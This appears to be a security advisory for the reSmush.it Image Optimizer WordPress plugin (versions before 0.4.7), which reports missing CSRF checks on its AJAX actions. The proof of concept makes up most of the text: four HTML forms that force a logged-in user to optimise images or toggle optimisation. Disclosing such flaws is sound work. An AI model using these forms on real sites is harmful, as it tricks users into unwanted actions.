WordPress Plugin Vulnerabilities

reSmush.it Image Optimizer < 0.4.7 - Multiple CSRF

Description

The plugin does not perform CSRF checks for any of its AJAX actions, allowing an attackers to trick logged in users to perform various actions on their behalf on the site.

Proof of Concept

<!--optimize all images-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;bulk&#95;get&#95;images" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--optimize single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;optimize&#95;single&#95;attachment" />
      <input type="hidden" name="data&#91;id&#93;" value="88" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--disable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--enable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit&#95;update&#95;disabled&#95;state" />
      <input type="hidden" name="data&#91;id&#93;" value="90" />
      <input type="hidden" name="data&#91;disabled&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>